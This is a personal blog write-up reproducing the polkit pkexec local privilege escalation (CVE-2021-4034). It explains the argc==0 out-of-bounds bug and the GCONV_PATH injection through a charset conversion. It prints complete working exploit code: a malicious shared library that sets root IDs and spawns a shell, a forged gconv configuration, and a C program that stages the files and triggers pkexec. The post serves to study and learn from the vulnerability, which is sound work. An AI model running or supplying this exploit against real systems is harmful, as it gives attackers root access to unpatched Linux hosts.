pkexec LPE (CVE-2021-4034)
Hi everyone, long time that I’ve been off.
First of all, I want to apologize if anyone was following this blog in order to check for new posts, some life things out of my control got me off of pwning | computers, more than I liked. I’ll resume the journey with the motivation of a couple of friends <3, I really hope that this helps anyone out there.

Summary
The purpose of this blogpost is to reproduce and understand the polkit pkexec vulnerability (cve-2021-4034). Polkit is a component for controlling system privileges in unix systems. It provides an organized way for non-privileged processes to communicate with privileged ones. The main objective is to exploit an out of bounds r/w on a SUID binary: pkexec.
Original advisory (kudosssss): Qualys Advisory.
Background
- pkexec: Porgram that allows to execute an specific program as another user (SUID binary).

From the advisory, the following points are clear.
- The bug is triggered when
argcis0. argvandenvpare contiguous in memory.- The
oob write, allows us to write onenvp[0](introduce a new environment variable).
So, the first thing to understand here is how arguments works in C.
- argv: This variable is an
array of stringsnull terminated. Its elements are the command line arguments passed to the program. When it is executed from the command line, the first(0)argument, is the program itself. - argc: An integer that represents the
size of argument array argv, passed to themain()function. The arrayargvlength isargc, with theargv[argc] == NULL. - envp: This argument provides the function with access to the program’s environment variables, such as the
PATHvariable.
Understanding the bug
For this “work”, I’ll be using the ubuntu 18.04 (mid 2021) default version of pkexec which is 0.105
To get the source code from the respective repositry.
git -c http.sslVerify=false clone https://gitlab.freedesktop.org/polkit/polkit.git
git checkout tags/0.105
From the qualys blogpost, we know that the issue relies on the pkexec.c, specifically, the for loop which is for argument handling. This for loop work is to check for every argument passed to pkexec and it is as follows.
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}
What happen if we pass an argc == 0 ? Since n starts at 1, the for loop will terminate inmediatly, that means that the n == 1. With this, the n value issue will propagate to the line 537 which is as follows.
path = g_strdup (argv[n]);
The target of g_strdup, will be the envp[0], since the sizeof(argv) == 1 , which is with value of NULL. (argv[0] == NULL).
With this in mind, by invoking the program by doing an execve syscall, we’re able to control the argv[0] to not be the program name, instead of that, we pass a null array.
To understand this argument handling, I did this tiny example which are 2 basic programs that call each other using an execve().
ubuntu@ubuntu:~/pwn/tests/args$ cat one.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
printf("Value of argc: %d\n", argc);
char **s = argv;
while(*s != NULL){
printf("Value: %s\n", *s);
s++;
}
return 0;
}
ubuntu@ubuntu:~/pwn/tests/args$ cat two.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char *args[] = {NULL};
char *envp[] = {"1","2", NULL};
execve("./one", args, envp);
return 0;
}
By compiling and running this example, is easy to notice that the envp[0] is under our control by using a execve syscall in comparision of calling the program directly from the shell.

re-introduce an environment variable
As we know, the call of a suid binary, is special, since it sanitize the environment variables passed to it, avoiding attacks such as using an LD_PRELOAD environment variable, but, here’s where this bug shine.
Just after the oob read for lop, we reach the following piece of code.
/* Now figure out the command-line to run - argv is guaranteed to be NULL-terminated, see
*
* http://lkml.indiana.edu/hypermail/linux/kernel/0409.2/0287.html
*
* but do check this is the case.
*
* We also try to locate the program in the path if a non-absolute path is given.
*/
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); // <- (1)
if (path == NULL)
{
usage (argc, argv);
goto out;
}
if (path[0] != '/')
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path); // <- (2)
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s; // <- (3)
}
if (access (path, F_OK) != 0)
{
g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
goto out;
}
command_line = g_strjoinv (" ", argv + n);
exec_argv = argv + n;>)
From this piece of code, we have the following issues.
- On
(1)we have thearbitrary readmentioned above, accessing theenvp[0], via theargv[n]withn == 1. - On
(2), if theexecutableexistsg_find_program_in_path()will return theabsolute path nameof it (here’s the important part, summarized in thequalys advisory, summary below). - On
(3), we overwriteargv[n] and path, with the value ofs, which is thefull pathof theenvp[0].
Nice, we can overwrite the envp[0] with an arbitrary value, but which value ?
From the QUALYS advisory.
If our PATH environment variable is “PATH=name”, and if the directory “name” exists (in the current working directory) and contains an executable file named “value”, then a pointer to the string “name/value” is written out-of-bounds to envp[0]
OR
If our PATH is “PATH=name=.”, and if the directory “name=.” exists and contains an executable file named “value”, then a pointer to the string “name=./value” is written out-of-bounds to envp[0].
The last statement sound awesome to re-introduce the GCONV_PATH malicious variable into the envp array easily, nice. But we have to care about another points which are the following:
- There’s a small window where we can introduce our environment variables, since they’re
sanitizedbypkexec. - Is important to notice that the
validate_environment_variable()function calls internally theg_printerr()function. important. - If the
CHARSETenvironment variable exists and its value is other thanUTF-8,g_printerr()will calliconv_open(). iconv_open()reads a configuration file to determine whatshared libraryuse in order to make thecharacter conversion.- If the
GCONV_PATHenvironment variable exists,iconv_open()will use that path instead of reading the configuration file. - Since
GCONV_PATHis unsafe, is cleared while runningSUIDbinaries. But using this bug we can re-introduce it :D
Everything’s good, we have the GCONV_PATH environment variables back into the envp array, but, how we can force the program to call iconv() ? ez: forcing it to call g_printerr().
Now, let’s mess with the locale things. From the iconv man page, we have the following
If GCONV_PATH is not set, iconv_open(3) loads the system gconv module configuration cache file created by iconvconfig(8) and then, based on the configuration, loads the gconv modules needed to perform the conversion.
The configuration file mentioned here is as follows.

From the header, we know that the format is as follows
module from_name to_name so_filename cost
From here we can deduce that if we want to translate BS_4730 to UTF-8, we need to use ISO646.so

Using this information, we can build our own malicious config file, that will be loaded because the GCONV_PATH will be present. With this, a malicious .so file (specified in the config) will be loaded in order to make the conversion.
The simple-evil shared object file is as follows:
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
void _init(){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
printf("Executed shared library evil \n !");
execve("/bin/bash",(char *[]){"-i", NULL}, NULL);
execve("/bin/sh",(char *[]){NULL}, NULL);
}
Compile it with the following commands.
$ gcc -c -Wall -fPIC ISO646.c
$ gcc -nostartfiles -shared -o ISO646.so ISO646.o
$ mv ISO646.so gconv
To test if this is working, we can use iconv with the GCONV_PATH environment variable just as follows.

Nice!
btw, the target charset, can be arbitrary. For the sake of this poc I’ll use the deadbeef target charset.
In order to trigger this from inside the code, lets create the name=. directory and lets see on the debugger what is written on the envp[0] while executing it with the PATH=name=.
$ mkdir -- "name=."
$ touch 'name=./f'
And the program to trigger this is as follows.
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main()
{
printf("[*] Starting the exploit...\n");
char *args[] = {NULL};
char *envp[] = {"f","PATH=name=.", NULL};
execve("/usr/bin/pkexec", args, envp);
}
Important note: To make possible the debug of this example, it is need to run the debugger as root, since it is a SUID binary.


Nice, the mov rbx, rax instruction, is likely to be the line where the argv[n] is written again.
// from pkexec.c, line 553
argv[n] = path = s;
nice !
exploit
To summarize the vector logic.
- We have an
out of bounds read, which allows us to read theenvp[0], using theargv[n]statement. - We have an
out of bounds write, which allows us to write onenvp[0]the result ofg_find_program_in_path(). This can be abused to introduce a newenvironment variable. - Using this, we re-introduce the
GCONV_PATHenvironment variable which will point to our maliciousconfig/shared object file. - In order to abuse this
re-introduction, we need to force the program to make acharset conversion. We do this by using an invalidSHELLenvironment variable. This will makepkexecto callvalidate_environment_variable(). Since theSHELLenvironment is invalid (not presented on/etc/shells), thelog_message()and theg_printerr()functions are called. - Since our context have the
CHARSETenvironment variable set,g_printerr()will force aconversiontoUTF-8in order to print out the error. - While doing this conversion, the
GCONV_PATHenvironment will be present, which means thatgconvwill go ahead and look for theconfigand theshared objectfile on our custom path.
The final exploit will be as follows
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
const char *gconf_file = "# malicious config file\n\
alias ISO-IR-4// BS_4730//\n\
alias ISO646-GB// BS_4730//\n\
alias GB// BS_4730//\n\
alias UK// BS_4730//\n\
alias CSISO4UNITEDKINGDOM// BS_4730//\n\
module BS_4730// INTERNAL ISO646 2\n\
module INTERNAL BS_4730// ISO646 2\n\
module UTF-8// deadbeef// ISO646 2\n";
void setup(){
/* Create the directory that will hold the malicious shared library and configuration */
printf("[!] Creating GCONV_PATH directory\n");
struct stat gconv_stat = {0};
struct stat shared_stat = {0};
if(stat("./GCONV_PATH=", &gconv_stat) == -1) mkdir("GCONV_PATH=", 0755);
/* Check if there's some share object created */
printf("[?] Checking the needed shared object\n");
if(stat("./s.so", &shared_stat) == -1){
printf("[!] Error, first compile the shared object\n");
exit(-1);
}
/* Move the shared object to the malicious path */
printf("[?] Creating the files under /tmp\n");
if(rename("./s.so", "/tmp/ISO646.so") != 0){
printf("[!]Error moving the .so file\n");
exit(-1);
}
/* Create the malicious configuration */
FILE *fp;
fp = fopen("/tmp/gconv-modules", "w+");
fputs(gconf_file, fp);
fclose(fp);
/* Create dummy file inside the gconv directory */
printf("[?] Creating tmp file under GCONV directory\n");
fp = fopen("./GCONV_PATH=/tmp", "w+");
fputs("#!/bin/sh", fp);
fclose(fp);
if (chmod("./GCONV_PATH=/tmp", S_IRWXU)!=0 ) {
printf("[!] Error changing permissions");
exit(-1);
}
printf("[*] Setup finished successfuly !\n");
}
void cleanup(){
printf("[!] Deleting files under /tmp directory\n");
unlink("/tmp/gconv-modules");
unlink("/tmp/ISO646.so");
unlink("./GCONV_PATH=/tmp");
printf("[!] Deleting directory custom \n");
rmdir("./GCONV_PATH=");
printf("[!] Cleanup done\n");
}
/*
main+974 g_find_program_in_path@plt
*/
void main()
{
printf("[*] Starting the exploit...\n");
setup();
char *args[] = {NULL};
//char *envp[] = {"f","PATH=name=.", NULL};
//char *envp[] = {"tmp","PATH=GCONV_PATH=", "SHELL=abc", "CHARSET=ISO646-GB", NULL};
char *envp[] = {"tmp","PATH=GCONV_PATH=", "SHELL=notashell", "CHARSET=deadbeef", NULL};
printf("Cross your fingers, spawning a shell\n");
if(fork()){
wait(NULL);
cleanup();
printf("[!] Exiting !\n");
exit(1);
}
execve("/usr/bin/pkexec", args, envp);
}

Conclusion
Lesson learned:
- A simple
out of bound read/writecan be dangerous. - An advisory can be
not-sodetailed, read it til’ it make sense, things that can help to get it down:- Diffing the patched with the vulnerable
code/binary. - Read poc’s
- Read write-ups
- Diffing the patched with the vulnerable
- This vulnetability have more than
10 years, if you’re interested intocode review, just go (note for myself).
Any advice, correction or feedback will be appreciate <3 !